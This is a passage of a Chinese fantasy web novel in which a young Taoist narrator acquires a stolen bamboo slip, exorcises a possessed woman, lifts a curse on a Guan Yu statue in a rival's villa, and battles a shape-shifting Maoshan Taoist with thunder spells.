“冯,冯大师。”我还在敷衍呢,结果一个熟人走了过来。我看了半天,才认出了对方,“瘦不拉几?”
瘦不拉几怔了怔,也知道我是在说他,他赔笑,“大师,我不叫瘦不拉几,大家都叫我老狗。”
我点了点头,看着他脸上的肿胀消了大半,差点没认出来。但我并不想认识他,随口问,“你有事吗?”
老狗急忙,“大师,上次,谢谢你,要不是你的话,我跟大黄的命都交代那了。所以,我想,请您吃个饭。”
闻言,我本想着拒绝,但我突然想到这老狗居然能偷到羊皮纸那种东西,肯定有什么过人的本事。而这段时间里,我虽然一直修炼方士的道术,除此之外,却没有其他有关道术信息的来源。
我想着这个老狗可能帮到我,然后我就答应了下来。
澡堂子附近有一家餐馆,价格实惠,味道也不错,我之前去过。我俩刚从澡堂子出来,意外地碰到了大黄牙,他也跟了过来。
老狗倒也实在,三个人点了四个菜,刚吃上三两口,我就从老狗的口中得知了一个消息,是关于阴山的消息,说是那边出事了,连部队都去了。
“部队?”我意外。
“大师,您不知道?”老狗疑惑。
我摇了摇头,他憨厚地喝了口白酒,津津有味,“死人了,死了老鼻子了,我听认识的人说三十多具尸体,全在树上吊着,老惨了。”
我一愣,树上吊着?想到那天的事,我突然明白了为什么没找到尸体。
大黄牙,“这事我也知道,应该是倒斗的,惹了不该惹的东西。里面有两具泰斗的尸体。”
大黄牙故作神秘地看向我和老狗,“那是南派的,其中一位,还是某大学的教授,祖上,搬山的。”
听到这里,我这个当事人觉得越扯越离谱了,我打断,“两位,你们有没有道教的文献?或是相关的东西也行。我高价收。”
原本还沉浸在阴山事故里的两个人,闻言都愣了愣,那老狗稍微沉默了下,突然眼前一亮,“大师,我倒是有一卷竹简,我考证过了,它历史久远,但,有些特别。”
听到这话,我疑惑,“怎么特别?”
老狗想了想,“大师,大黄,你们跟我来吧。”
老狗家就住在这街道附近,兜兜转转,我总算见到了他口中说的竹简。正如老狗说的那样,这竹简很特别,十二片木犊,中指长短,拇指宽细,但上面却一个字都没有。
我疑惑,而大黄倒是先一步说出了我的疑惑,“老狗,你可别糊弄咱们恩人啊,这玩意,看上去很新啊,再说了,一个字没有?你会不会被糊弄了?”
老狗被大黄质疑,脸色羞红,“你懂个屁,我已经找人鉴定过了,绝对是好玩意,而且是出自道家。”
道家?
我眯了眯眼睛,一股道力注入其中,嗡嗡嗡,我仿佛听到了嗡名声,真的有反应?
随后,那竹简上金光流动,数百个金色的字迹漂浮在竹简之上。
我并不认识这些字,因为都是些象形文字,但我却能看懂它们的意思。这竟然是一套阵法,名为《风火奇门》。
而上面那些流转的金色文字,便是这阵法的口诀,只需要催动道力,念动口诀即可。
我有些激动,这段时间也得到了不少东西,羊皮纸,铃铛,但这还是第一次得到了能用的东西,还是一套完完整整的阵法。
我平复着激动的心情,随后面无表情地看向老狗,“老狗,你别跟我说这是你祖传的,到底怎么回事?”
老狗眼巴巴地看着我,狠狠地咽了口吐沫,在我面前他不敢撒谎,这才说了实话,“大师,这不,我是个贼嘛。在我们业界内有句话,贼不走空。我去年受邀去了一趟沈城,在帅府里捡地。”
我直逼过去,“捡的?”
老狗害怕了地低头,“这,他就放在那玻璃里面了,我以为没人要呢。”
我无语了,在我们东北这一块,谁不知道大帅府是什么地方。这老狗的胆子也真够大的。
我深吸一口气,拿在手里沉甸甸的。因为读书的缘故,对于大帅的事我也有些印象。大帅是绿林出身,早年敬奉山神。而在后期,因为他儿子的事,他开始信了道家风水。
家中有这东西也不算稀奇。
但,这玩意的因果,我能受得了吗?我一把将这竹简踹在兜里,拿出十张票子递了过去,“这应该是一份假的文献,我拿回去研究研究。以后,要是有这些东西,可以直接去我家找我。当然,我家在哪,不用我说了吧?”
老狗看到那一千块,眼睛都直了,脸上也露出了笑容。顺便调侃,“我就说嘛,里面怎么能放真东西。”
闻言,我也有些无语。
拿到了这道法,我也没有继续留下的意思了,随后就往家走,打算回家细细的去研究这阵法。结果刚出门没几步,我就看到了一个熟悉的身影。
随后,我竟然觉得毛骨悚然,这不是玫瑰安然吗?她不是死在了阴山吗?
就算没死,部队封山,她是怎么出来的?
而最重要的,她貌似在跟着我,没错,就是在跟着我。我走一步,她跟一步。
……
第十八章我娘新奇脑回路
原本经历了这么多离谱的事,我的胆子也越来越大,但老阴山的事实在记忆犹新。
所以这诡异的一幕,也是让我手心里捏了一把汗。我狠狠地咽了一口吐沫,强忍着那股恐惧,朝着安然挥了挥手。
结果安然却没有任何反应,他就站在离我大约十米开外的地方,死死地盯着我。
我疑惑,这女人怎么了?感觉像是精神不正常呢?我大着胆子朝她走了过去,想要弄清楚咋回事。
然而我这一动,她也跟着退了两步,我怔了怔,她也跟着怔了怔,我俩就这样保持着距离,在那大眼瞪小眼的。
撞邪了?
我脑子里冒出来一个想法,觉得这事有点说法,我单手结印,心中默念邪祟褪去,朝着安然大喊,“道”。
结果就是她无动于衷,依旧在那盯着我。
我心里面有些发毛了,这是啥玩意?连真言都不好使?难不成要‘诸邪避让’?但我眼下身上也没有鸡血也没有红绳。看来下次要把这些东西都带着以防万一。
见事情诡异,我又拿这个安然没办法,索性,我默念一声‘行’字,一步五米,等我到了家门口,没在看到安然的身影,我才松了口气。
进了家门,我看到我爹我娘,大哥大嫂他们都在。一问才知道,我大哥准备开个摩的修理铺。对此我倒是不意外,我大哥早年就在修理厂上班了,手艺没得说。
而他也一直想开个修理铺,但囊中羞涩,这才一直跑摩的攒钱。
而我爹我娘也把工作辞了,打算给我大哥打个下手。至于为什么在家,说来跟我有莫大的关系,他们竟然是想着让我看看这事顺不顺利。
说实话,对于家里的事我并不想掺和进去,但爹娘大哥那期待的眼神,我也就没拒绝。
我双眼用力,家人头上的气运显现,我有些意外,我爹那团霉运已经不见了,取而代之的是白色。而我娘的也一样是白色的。这代表着平静,无事发生。
再看我大哥大嫂,我大哥的头上有点淡黄,虽然不多,却也是好的象征。至于我大嫂嘛,她的是粉红色,代表桃花运。
而她的桃运粉红,红中带着一抹血色,这就是说有血光。
“大哥,你有一点财运。”我随口说了一句。
闻言,我大哥笑如桃花,悬着的心似乎也放下了。他还想让我给他算算开业的良辰吉日,这玩意我哪懂?我敷衍,“大哥,算日子不如信自己。有些事,顺其自然。”
这些话术都是我从书上学的,说实话,我都觉得自己像个神棍。但该说不说,这套说辞很有用。再看我大哥,他已经在那脑补了。觉得我说得对,之后也不再问了。
见我大哥在那神神叨叨的,我大嫂不耐烦,“行了行了,不就是开个修理铺嘛?能花多少钱?还算命?不知道还以为你开个大公司呢!”
说完,我大嫂也瞥了我一眼,眼皮翻了翻,嗤之以鼻。
听到我大嫂贬低的话,我爹我娘却假装没听见,按照他们那套理论来说,不想因为他们多嘴,闹出家庭矛盾。
但我却皱了皱眉头,我出钱出力,反被白眼?我冷冷道,“怎么?大嫂不信我的话?”
大嫂嫁到我家也十年了,我跟她说话,还要追溯到七八岁那会呢。所以,她眼神有些诧异地看向我,又阴阳怪气,“信,我怎么不信啊。我家能开上这修理铺,那可是你出的钱呢。我听说好几万呢!”
我大哥急忙拉了大嫂一把,“你少说两句,真的是老幺出的钱。”
结果我大嫂一把推开我大哥,叉腰指着我大哥,“姓冯的,少在这跟我白话,就他?你看那全身上下,像是有几万块地样吗?你个怂货,但凡你有二叔那本事,这家早就分了。”
我大哥也生气了,“你,你别说了。”
我大嫂像是打了鸡血,指着我大哥的鼻子,“姓冯的,你还看不出来吗?什么老幺拿的钱,那就是你爹你妈变着法的想让你跟我养老幺。一个破修理铺能要多少钱?几千块到头了!还骗我说你有了五万块!我看你就是贱骨头!”
啪!
我大哥怒火冲天,抬起手一巴掌抽在了大嫂的脸上,我大哥大嫂同时都愣住了。
“你们这是干什么啊!”我娘急忙上前去看我大嫂的脸。
结果,我大嫂不领情,一把推开了我娘,我眉头紧锁,扶住了我娘。
而我大哥见状,眼睛里都要冒火了,抬手又要抽我大嫂。
我伸手拦住看向了大嫂,“大嫂,日子这个东西是过出来的,而不是骂出来的。你嫁到我家十年,我爹我娘都让着你。哪怕我二哥,因为你是嫂子,对你都恭恭敬敬。如今你当着我爹妈的面骂我大哥是贱骨头,这很过分。”
闻言,我大嫂有些理亏地盯着我,但她捂着脸,并没打算认错。
我又说道,“大嫂,那我给你卜一卦吧。”
完事,我走到大嫂的面前,在她耳边说道,“大嫂,你最近命犯桃花,却也因此有血光之灾。凡事,斟酌。”
说完,我往后退了一步,我盯着我大嫂,她也震惊地看向我。
但很快,我大嫂就冷哼一声,甩了袖子就走了。我大哥见状,也忙着追了出去。
我娘怕出事,也追了出去。倒是我爹,一屁股坐在沙发上,拿出了一支烟点上,打开电视,自顾自的看了起来。
我愣了愣,这还是我爹吗?往常我大哥那边有个风吹草动,他就跟着着急。现在可倒好,还哼上小曲了。
我这边还纳闷呢,我娘突然回来了,她还领了个人,边进来边对我爹说,“孩他爹,你说这怪事,我这一出门就碰到了这姑娘。穿得单薄,我跟她说话也不吱声,怪可怜的。你去给倒杯热水。”
我爹抬头看了一眼,也没吱声,叼着烟起身去厨房了。
而我在看到这女人之后,头皮都跟着发麻,玫瑰?安然?我娘怎么把她领回来了。
“娘……”事情太邪乎了,见我娘离玫瑰太近,我紧张的嗓子眼刺挠想咳嗽。
“啊……哎呦,你说这姑娘,长得真俊啊。就是看上去精神有点不正常。宁宁啊,你说,你娶个精神病当老婆这事行不行?”
……
第十九章铃铛突然显威力
我娘还在那乱点鸳鸯,我这边手脚都冰凉,死死盯着那玫瑰,生怕她有个什么风吹草动。
好在,玫瑰就站在那,嘴里面念念叨叨,也不出声,带死不活的。
我娘还没意识到事情的严重性,我拼命地给她使眼色,却被她无视了,她打量着玫瑰,一只手梳理着玫瑰的头发,“姑娘啊,你家哪的啊?你瞅瞅我家这老幺怎么样?你不要怕,等会我把你送派出所去,没事的。”
见我妈还在那乱点鸳鸯,我有些郁闷了,但我不敢轻举妄动,因为我不知道这女人到底怎么回事,别伤到我娘。
我蹑手蹑脚地往前走了一步,结果,我心脏差点没跳出来。这女人突然动了,往后退了半步,那本来浑浊的双眼,突然看向了我娘。
她的眼睛里突然露出了凶光,一只手就要朝我娘脑袋抓过去。
“找死!”我怒喝一声,运转身体内的道力就要冲上去。然而我却心知肚明,这个距离,根本不赶趟。
铃!
结果下一秒钟,一道清脆的铃声响彻客厅。
“啊啊啊!”
那玫瑰抓向我娘的手突然缩了回去,捂着头,痛苦地嚎叫。
“哎呀妈啊,哎呀,咋回事啊!”我娘吓得连连后退,倒弄着小腿,表情丰富。
我松了口气,但同时也心有余悸,随后,我也奇怪,这铃声是哪来的?
“嘶嘶嘶。”
正想着呢,玫瑰嘴里面发出了怪异的声音,像是蛇吐信子。
她的那张漂亮的脸上青筋暴起,那血管紫黑紫黑的,散发着丝丝黑气。
我暗叫不好。
这气息跟那个老阴山的红衣东西一样,渗人,恐怖,我对付不了。
但眼下我爹娘在这,我又退无可退。我心一狠,硬着头皮,死也要干她。
结果我一动弹,铃铃铃,那清脆的铃声又响了起来。
玫瑰被惊得狼哭鬼嚎,倒在地上,疯了似的凿地板。
铜铃?我突然想到了什么,从口袋里拿出来铜铃,随后朝着玫瑰走了过去,用力的摇晃。
那原本不响的铜铃,铃声清脆,震慑灵魂。
“啊啊啊,坏我好事,我记住你了。”我用力地摇动着铜铃,突然,我在玫瑰的身上看到了一个类似女人的身影。她怨毒地看向我,跟着不甘心地化为一道黑气不见了。
然而,我惊魂未定,不确定这东西走没走,拿着铃铛继续摇动。但这次铃铛没有再响。
走了?
我这才大着胆子地走到玫瑰跟前,半蹲着,扒拉她。
见她半天没醒,我打出一道道力在她脑门上。
客厅里的动静闹得有点大,我爹拎着水壶跑了进来,“怎么回事?谁在叫?”
我娘凑了过去,“没啥事,就是这个姑娘刚才不知道怎么了,在那张牙舞爪地发疯。然后老幺拿了个东西在那晃,也不知道晃个啥劲儿,你别说,这大姑娘就睡着了。”
闻言,我满脑子问号地盯着我娘,什么叫在那晃啊,铃铛声没听到?安然身上的那恐怖东西也看到?
我打量了半天,却没在我娘脸上看到其他情绪。
我爹疑惑,“老幺,到底咋回事啊?这姑娘不会被皮子上身了吧?你给镇住了?”
我突然意识到我爹我娘根本看不到那东西,也听不到这铜铃声。我本想撒谎来了,结果玫瑰突然醒了。
我吓了一跳,拿出铃铛还要镇压,却发现铃铛没响。玫瑰奇怪地盯着我,她看上去昏昏沉沉的,好半天才指着我,“是你,是你救了我。”
我想说些什么,玫瑰却突然抱住了我,当场大哭,小声在我耳边说,“死了,死了,教授死了,堂主也死了,我也差点死了。”
“你们认识啊?这姑娘也没疯啊,这不挺好的嘛?”我爹我娘面面相觑,而我爹使个眼色,我娘一副懂了的神情,把水壶和水杯放在我这,老两口就走了。
我有点尴尬,他们这是想歪了,想解释呢,但没给我机会。大厅里就剩下了我们俩。
安然是真的吓坏了,哭了足足十分钟,这才把手松开,随后我给她倒了杯水,她狼吞虎咽地喝了下去。我这才问,“到底怎么回事。”
安然就把看到的事说了。那天我把郭毅和东北女人拉走以后,那教授突然冲向了连毛胡,整个人像是原始动物似的,把连毛胡啃咬死了。
之后,那教授突然爬上树自己吊死了,她当时吓坏了,一抬头,发现树上吊着一大堆人,一个个死相惨状。其中就有他们小队的十人。
而当时除了他,还有另一个南方男人,那人当场就疯了,疯疯癫癫地进了山里不见了踪影。她吓晕了过去,等再次醒过来就看到了我。
听到这些,我倒是没有那么惊讶,反而想起了大黄牙和老狗,我没想到这俩人的消息竟然这么灵通。里面发生事,跟他们描述的差不多。
连那个教授是搬山一门的都清楚。这俩人倒是能利用。
玫瑰叙述完前因后果,又喝了杯水压了压惊,她看了看我,半天才有些扭捏,“我之前怀疑过你的本事,我向你道歉。”
闻言,我愣了一下,还记得在老阴山的时候,这个帝都来的女人对我不信任,一顿数落,这态度倒是有点意外。
我说,“你不用道歉。另外,我也没有救你,是你自己跑来找我的。”
玫瑰疑惑,“我跑来找你。”
我把发生的事叙述了一遍。
玫瑰愣了愣,她挠了挠头,“那也是你救了我。”
我没有再反驳,而后,她问我哪有打电话的地方,我说隔街小卖部就有。
“能不能借我十块钱。”结果玫瑰有些尴尬地看向我。
我也没吝啬,给了她十块,她说,“谢谢你,这个恩情我记住了。我会报答你的。”
说完就走了。
对于玫瑰的话,我也没在意。而老阴山的事,到此也算是真的告了一段落。
而接下来的事,倒是显得有些有意思,甚至连我都觉得意外。
坑我爹的那个王远,居然间接地找我帮忙看事,还真是应了那句话,世道好轮回。
而我也因此碰到了同行,他是个道士,一个坑逼道士。
……
第二十章虽不断子但绝孙
事情还要从玫瑰走之后说起,玫瑰当时跟我借钱出去打了个电话,然后在我家待到了傍晚,之后就被人接走了。
结果她这刚走,老狗就来敲我家院门,我一看是他,也就邀请了进来。
“大师,我也不跟您卖关子,有事想请您帮忙。事成之后,这个数。”老狗直接伸出了两根手指。
说实话,对钱我没有兴趣,之所以让他进屋,完全就是看中他消息灵通这一块。
见我没说话,老狗紧张,“大师,两万啊,我老狗这中间人真的一分钱没赚。”
我摇头,“不是钱多少的问题,是我不太感兴趣。”
老狗明白了我的意思,他急忙说,“大师,我知道您想要文献,我跟您说,这次救的人身份可不简单呢。他家的文献资料,一点不吹,跟博物馆似的。”
说到文献我来了兴趣,但我总觉得这老狗为了让我出山,所以在这吹牛逼呢。我瞥了他一眼,老狗见我不信他,,“我说的都是真的,这人马上要高调了,实力硬着呢。要不是家里突然出了问题,根本没机会见他。”
我没说话,老狗继续,“大师,这人也把文献当宝贝,能不能拿得到,我没法给您保证。但我可以保证,那些文献我都见过。一屋子都是。”
看着老狗那样子,我信了大半,这才缓缓开口,“你说的是书吧?”
老狗摇头,“大师,您这就小瞧我老狗了,文献跟书,我还是分得清的。因为大黄提过您对这些东西感兴趣,所以去他家的时候,我特意看的。”
说到这里,我已经能确认了老狗说的是真的,所以也就答应了下来。
之后,又过了大约十天左右,我大哥这边的摩托车修理铺开业了。而老狗再次找到我,前往那人家赴约。
结果就在别墅里看到了王远,而王远见是我,也是用一种诧异的眼神盯着老狗,“这冯傻子就是你找的大师?”
闻言,老狗吓得脸色发白,“王主任,您这可不要乱讲啊,这位是真大师。连佛子都要给三份薄面。佛子那眼睛就是大师看好的。”
听了老狗的话,王远这才忍不住打量我,但并没说话。
而我心里面也很惊奇,这老狗的消息确实有些灵通了,他居然连这事都知道?
但我表面上却不动声色,淡淡地看向王远,“王叔,好久不见呢。”
王远愣了愣,“你,不傻了?”
我平静,“王叔,说说你家的事吧。”
对于王远这个差点害死我爹的人,说实话,我的内心没什么情绪。
在我眼里人性,也就是人道,利己是很正常的事。但话又说回来,帮亲不帮理,既然有这么个机会,我得为我爹做点啥。
而且也巧了,本人也是死道友不死贫道的主,利己嘛,很正常的事。
王远看我的眼神似乎有些不太舒服,这应该跟我爹有关,他毕竟差点没把我爹坑死。但是,我从他的眼神里没有看到半点的愧疚和悔过。他只是不太想看到我罢了。
“咳咳……先进屋吧。”王远笑了笑,又恢复了那副令人捉摸不透之色。
在王远的带领下,我们来到了书房说事,果然,老狗没骗我,一屋子的文献资料。
“冯宁,你对文献资料感兴趣?”王远是个很会交谈的人,打开了话匣子。但很显然,此刻的他并不信任我。也没把我当大师,反而像是看小孩子胡闹的表情。
“王叔,还是先说说你家的事吧。”我却平静道。
王远有些尴尬,点了一支烟软白山,“事情还是半个月前,我家里频繁出意外,先是保姆摔断了胳膊,之后我妈磕破了头,然后是我小孙子断了腿,人现在还在医院呢。我听人说,我家冲撞了什么东西,所以托人看看。”
说到这里,王远压低了声音。身为印刷厂的主任,他这种身份不能信这些东西。
说实话,我这人不信邪,但信因果。我看了王远一眼,然后双眼用力,看到了王远头上的气运。
淡黄色,散发着点点金光,我观察了半天,都没有一点霉运的意思。
“除了这些事,你没遇到过什么特别的事吗?”我也有些奇怪了,讲道理,他要是真倒霉,头上的气运是不会撒谎的。
除非,是我没接触过的状况。所以我想,其中是不是有什么插曲?
闻言,王远陷入了沉思,随后眼前一亮,“有,我半个月前碰到了个道士,他说我有血光之灾,家里要遭殃。说,让我给他十万,这事算了了。我当时觉得是个大忽悠,还骂了他。难道,跟他有关系?”
我眯了眯眼睛,这件事恐怕还真有关系,而我也隐约的觉得,这个道士不简单。
“带我四处走走。”我说。
王远点了点头,我跟在身后,老狗则是跟在我身边。
“大师,您是不是看出啥了。”老狗问我。
“走走就知道了。”我敷衍道。
对于风水面向什么的,我这会学得不精,但因为身上有真本事,所以说话做事,全凭着感觉走。
王远家三层别墅,我们从一层走到三层,直到碰到了那尊供奉的关羽像,我突然停住了脚步。
“是这财神爷出了问题吗?不应该啊,这尊财神也我家供了十几年了,也没出过事。”王远疑惑。
关羽,民间叫做武财神。一般来讲,应该是一些社团喜欢供奉。
但这会我却没时间去想这种事,因为我在关公像上看到了煞气。那关公在红布搭建的堂口中,一手捋着胡须,一手拿着青龙偃月刀,威风凛凛。而此刻,那刀上寒光熠熠,煞气缠绕。
王远的家问题就出在了刀上。
就在刚刚,在我靠近的瞬间,那刀竟然想断了我的脖子。这多亏是我,换做老狗,可能就出事了。
“王叔,你家里人是不是都在三楼出的事?”找到了原因,但我并不急着说出根本,而是继续老本行,当神棍。
好不容易抓到这王八蛋,我得给我爹出口气。
“是,是这样的。”王远震惊地盯着我。
“那是不是都出事在这一片区域。”我又指了指刀刃对着的地方。
“对,对,就是这一片。冯,大师,大师,到底怎么回事?能破吗?”王远盯着我。
“王叔,你还好遇到了我,要不然,你家虽不断子但绝孙。”我心中冷笑,让你坑我爹,看我不吓死你个王八蛋。
……
第二十一章大嫂钻进了我屋
王远惊出一身冷汗,眼巴巴地看着我,在那咽口水。
“大师,能行吗?”倒是老狗问了我一句。
王远这才又套近乎,“侄子,我跟你爹是老交情了,这事你可得帮帮我啊。”
我等的就是这句话,笑眯眯地看向王远,“王叔,你跟我爸确实是老交情了,但我跟你可没有一点交情。”
闻言,王远尴尬地站在那,不敢看我眼睛。
老狗也有点傻眼了,显然没料到我跟王远的关系很复杂,一时间也不敢搭茬。
“你这可不是一件小事,五万块,另外,你这有我想要的东西,你得给我。两个条件全都答应,我帮你解决。”我平静。
“这,这也太多了吧。”王远迟迟不肯回复。
“王主任,那你就另寻他人吧。”说完我转身就走。
“等等……我答应。”我刚走到门口,王远叫住了我。但我没动弹,直直地看着他,王远心领神会,回屋子里取了五万块给我。
王远,“大侄子,你要什么东西?”
我说,“不急,我先把这事帮你平了。”
我随手把五万块踹在兜里,说完就朝着关公像走了过去,随着越来越近,那关公像手中的刀刃越来越亮,等我彻底靠近,我看到那刀刃竟然从上到下闪动红光。
嗖。
接着我听到了什么声音,隐约中我仿佛看到了一个六米高的关公影子举起大刀砍向了我。
我皱了皱眉头,关公像居然活了。这种情况,我也是第一次遇到。
看着那直逼我的刀刃,我内心却没有半点波澜,凭感觉而言,我认为它伤不到我,所以我纹丝未动。
果然,那刀子没等劈在我身上,就被我体内的道力拦住了。我愣了愣,这是我没想到的,而那六米高的关公像下一秒钟消失得无影无踪。
再看眼前,那关公像上的煞气不见了。
“怨气不见了?藏起来了?”我小声地嘟囔了一句。
随后,我单手结印,心中默念驱邪煞气,喊了一声,“道”。
看着颤抖了一下的关羽像,我顺手把那刀扭动了一下。
等我再次走到王远面前,王远目瞪口呆盯着我,大侄子,不,冯大师,谢了,谢了。”
我有些奇怪,虽然我跟那关羽像交过手,但外人应该看不见吧。
我闻到了一股尿骚味,低头一看,王远裆下一滩尿,他尴尬地去换裤子,倒是老狗凑了过来,崇拜地看着我,“卧了个大槽,大师,你太特么牛逼了。”
说完指着一边。
我这才注意到,就在王远站着不足半米的地方,那茶几直接被劈成了两半,整整齐齐的。怪不得王远会被吓尿了呢。
老狗又说,“刚才王主任就站那了,要是还在那站着,人就被活劈了。”
闻言,我倒是没说话,而是转头看向了那关公像。眼下,它已经没事了。但为什么会有这种威力?我也不太清楚。
事实证明,这些东西厉害起来是真的能伤人的。虽然不见得真能把王远活劈了,但被劈了肯定不好受。
事情到这里也就处理完了,接着我去了书房挑选文献资料,王远倒是大方,让我随便拿。我当然也没客气,全都看了一遍,最后选了三份我认为有用的东西,又带走了两幅画。
等我从王远家别墅离开,我私下给了老狗两千,这年月这笔钱不是个小数目,在我们黑城这能买房了。老狗倒也不虚伪,直接把钱收了,说是一直会帮我留意文献的事。这是我想看到的结果,也说明这老狗是个聪明人,知道我想要什么。跟这种人打交道倒是很痛快。
回到家,结果在我家又碰到了王远,这次我没在理会,跑到自己的屋子里面研究起了文献资料。至于那两幅画,我觉得很有灵性,顺手挂在了屋里。
等王远走后,我娘叫我吃饭,我大哥大嫂都在,我爹高兴了,喝了酒,嘴上说没看错王远什么的。我这才知道王远来兑现承诺了,两万块给了。
对此我心知肚明,王远之所以兑现承诺,那可不是他们哥们兄弟的义气,而是因为我。但我没说,我不想扫我爹的兴,另外,也没兴趣聊这些。
吃过饭后,我回屋看书,大嫂突然跑我屋子里了。说实话,她这一举动把我弄得有点慌。俗话说得好,叔嫂不同屋,同屋必有妖。
“大嫂?你有事吗?”我大嫂长得挺好看的,虽然人过三十了,但白白嫩嫩的,哪怕生过孩子,依旧像个姑娘。
“宁宁啊,之前的事,大嫂跟你道歉。”我大嫂倒是没不好意思,长嫂如母,她在我家待了十年,这一点地位还是有的。
“嫂子客气了。是我说的话灵验了吧?”我平静地看向她。
我大嫂有些不好意思地点了点头,如实说道,“宁宁,我跟你不说瞎话,这段时间有个男的追我,但我一直没同意。两天前,他又去我理发店了,对我动手动脚,我给他骂了,结果,被打得头破血流。我,我没敢跟你大哥说。”
闻言,我盯着大嫂看,她的眼神有些闪动,我摇了摇头,“大嫂,你没同意,但也没拒绝,对吧?”
其实以我现在这个年纪,正是血气方刚的年纪,不应该懂这些人性。但在丢失的八年里,我看遍了人的嘴脸。
像我爹的徒弟杨凯,当面一套背后一套,像我二哥,那是我亲二哥,欺负我甚至比外人都厉害。何况那些外人了?
所以我对人道上,有着异于常人的成熟,加上这段时间的修道,与其说我懂人性,倒不如说我悟了,参悟透了人性。
这些东西,并不是说经历了,学习了就能够透彻的。你该醒悟了,顿悟了,那就顿悟了。而有些人可能一辈子,别说懂了,可能连一件事都看不明白。
当然,除此之外,那个想要夺舍我的方士,他对我的影响也非常大。他的记忆阴谋诡计偏多,性格自私自利,是个唯利主义者。
但我的性格也有十八岁的一面,就是有时候会很幼稚,没办法,年纪在这呢。
我大嫂捏了捏手指,低头不语,过了大约半分钟,她才看向我,“宁宁,大嫂说真心话,真的有过想法。但我跟你大哥孩子都有了,有些事还是拎得清的。那五万块我看到了,你是真有本事。大嫂想求你,能不能帮帮大嫂。那人是给人家看舞厅的,是个滚刀肉,我怕他报复我跟你大哥。我也是实在没办法了。”
大嫂哭了,在那抹眼泪,看样子是被逼急了。那年月的人都实在,拿滚刀肉没什么办法。
我盯着大嫂的眼睛,她这次没有说谎,而我又眼睛用力,大嫂头上的气运闪动。
确实有点糟糕,那粉红色更血红了,红得发黑,这是要走霉运了。
都是一家人,不看僧面看佛面,看在我大哥的份上,我答应了下来。跟他要了那人的信息,准备去找人。
而我看了会文献,也就躺在了床上。但在后半夜,我听到有动静。睁开眼,那窗户上竟然蹲了一道人影。
……
第二十二章实战中的五雷诀
这人影蜷缩在一块,看上去有半人高。
我脑子里第一时间闪过的是老阴山那红衣东西,因此吓了一跳,连忙起身。
但细细观察发现,根本不是那玩意。但大半夜的有东西出现在我家里,总感觉不舒服,所以我下炕,蹑手蹑脚地走了出去。
结果却发现那窗户上的东西蹲在了窗下,在那挖墙根,鬼鬼祟祟的。
“谁?”我突然喊了一声。这东西吓得一个激灵,猛地转头看向了我。
初冬,月圆高挂,眼下虽然是凌晨,但在月光下,我看清了这玩意。
我也愣住了,那是一张火红狐狸的脸,那双眼睛贼溜溜地盯着我。但我确认,他肯定不是狐狸,因为它有手有脚,穿着的是人的道袍。
“被你发现了。”这家伙转过头,等再转过来的时候,已经是一张中年人的脸了。
至于那狐狸的手脚也都成了人的手和脚,要不是我相信自己的眼睛,保不齐认为自己看错了。
遇到了这种怪事,我单手结印,随时准备动手。因为我很确定,这玩意来者不善。
“爷们,爷们,别动手,别动手,伤了和气,伤了和气。”这家伙怕我,眼睛死死地盯着我的手,眼睛贼溜溜的。
我没说话,打量它,突然想到了什么,“你是王远说的那个道士吧?”
被我看破了身份,这玩意咧嘴,“爷们果然不是常人,没请教,是哪家的道爷?坏我好事?”
闻言,我摇头,“我不是什么道爷。”
它却冷笑,“既然不是道爷,那就更不能坏我好事了。你可知那王远坑害厂里百姓的事?就不怕帮了此等坏人,天打雷劈?”
这东西三言两语,我突然心生一种自责感,还真就陷入了沉思。而后,我就看他朝着我走了过来。
然而,随着一阵风吹过,我被这股子凉意激醒,心中暗叫不好,居然被这家伙迷惑了。
这玩意二话不说,一只拳头大的狐狸手,指甲如利刃,足有四五厘米长,朝着我大腿就抓了过来。
我眼疾手快,默念‘行’字,一步五米脱身。对方愣住了,一脸的不可思议,“这,怎么可能。中了我幻术,还能脱身?”
我这才看清楚,五米开外站着的是个活生生的人,他不是什么狐狸,也不是什么中年人,而是一个骨瘦如柴的老头。
但我没工夫惊讶,单手结印,朝着这老道士就喊了个‘道’字。
老道士面露笑意,没把我当回事,一个闪避上了房顶,“呵呵,小娃娃,倒是小瞧你了,有些本事。居然破了俺的茅山幻术。但想对付俺,还远远不够。害我没了十万块,你得出出血。”
我还没出血,老道士说完,倒是一口咬了自己的手臂先流血了。然后他在那用血画来画去,嘴里念叨,“风风火火,万法归一,茅山,破!”
说完,我仿佛看到了一座大山,朝着我压了过来,压得我喘不过气。
“哈哈哈,小娃娃,跟倒爷俺认个错,把你那五万块乖乖交出来,俺心情好,收你做个徒弟,如何?”老道士站在房顶,佝偻个身子,得意扬扬。
“去你妈的。”我也怒了,成为方士有一段时间了,还是第一次吃这么大的亏。我骂了一句,看到脚下有个铁棍子,一脚踢到了手里。
然后我疯狂地催动着体内的道力,配合着手里面的铁棍指天,念叨着《五雷诀》的咒语,“诸法万象,雷神为尊,法令,天雷、神雷、龙雷、水雷、社令雷,以我之名,急急如意令!”
轰隆隆。
原本寂静的冬夜,突然雷声四起。我感受到了那一丝雷力,突然面向老道,铁棍朝着他指了过去。
“我尼玛。五雷轰顶?”老道傻眼了,他顾不上控制那大山,一个箭步朝着远处逃窜。五雷诀我都用了,我怎么可能让他跑了,心中默念一个‘行’字真言追了出去。
就这样,大半夜的,老道士逃,我在后面拿着铁棍子追,而天上密密麻麻的闪电,则是跟在我身后朝老道移动。
那场面相当的诡异。
扑通。
整整追了半个小时,那老道士突然跪在了地上,他没力气了,朝我求饶,“道爷,您早说您是雷神转世啊,打死我也不敢惹。道爷,修仙不易,请您绕我。”
我不为所动,刚才这老东西那一下明显是奔着弄我去的,我可不是个心善的人。看着雷来了,我催动道力,以铁棍为剑,引在了老道士的身上。
轰!
成了。
那雷直接劈在了老道士的身上。劈的老道士直接雀黑。
还能引?
随后我发现,还有雷能引下来,我就又试了试。
轰!
接着又来一道紫色的雷。
“艹,紫雷?”结果,我以为老道士已经劈死了,却没想到这家伙居然是装死,要不是我又一道雷,还真让他蒙混过去了。
不过这雷他躲过去了,这次,他心有余悸地盯着我。
而我,依旧能感觉到雷力,又要把雷引下来。
“爹,别来了,再引,那就不是雷了,是劫了。我认栽,这宝物孝敬您的,成吗?”老道士突然开了口,手里面拿着一块玉递了过来。
是个好东西。我在这玉上面感觉到了纯粹的能量。但我第一时间没接在手里,依旧是保持着那引雷的姿势。
我问,“你是什么人?哪门哪派?到我家什么目的?”
老道一脸沮丧,“俺属茅山北派,救死扶伤。本来是想着在那王远身上弄点钱花花,被爹您坏了好事。俺以为您就是个江湖术士,所以想着用幻术,教训爹您。”
老道脸皮是真的厚,为了不被劈,张口闭口管我叫爹,这让我很无语。
